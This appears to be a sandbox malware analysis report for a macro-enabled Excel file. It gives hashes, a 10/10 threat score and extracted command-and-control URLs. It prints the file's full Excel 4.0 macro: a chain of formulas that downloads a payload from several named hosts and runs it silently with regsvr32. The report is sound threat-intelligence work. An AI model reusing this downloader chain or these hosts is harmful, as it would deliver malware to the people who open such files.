Overview

overview

10

Static

static

10

a18a0e5ea6...0.xlsm

windows7-x64

10

a18a0e5ea6...0.xlsm

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    a18a0e5ea66c4d04de875e6f3c22418d21948d0ab563a4d2633b7863b729a600

  • Size

    51KB

  • MD5

    407e805974ef68479cf36dee4f66fa48

  • SHA1

    0cb023bd575e1553558d621e0b951474edbe8617

  • SHA256

    a18a0e5ea66c4d04de875e6f3c22418d21948d0ab563a4d2633b7863b729a600

  • SHA512

    7eecab3363227616656cd32ac21c52b98bd9de454e04721e57db50cf7d1c85135fd3653bf1248352178a08f9966e8a8130a7dcbd97c587e1eebf4bfb3cf03cc0

  • SSDEEP

    768:WICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:WItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

Files

  • a18a0e5ea66c4d04de875e6f3c22418d21948d0ab563a4d2633b7863b729a600
    .xlsm office2007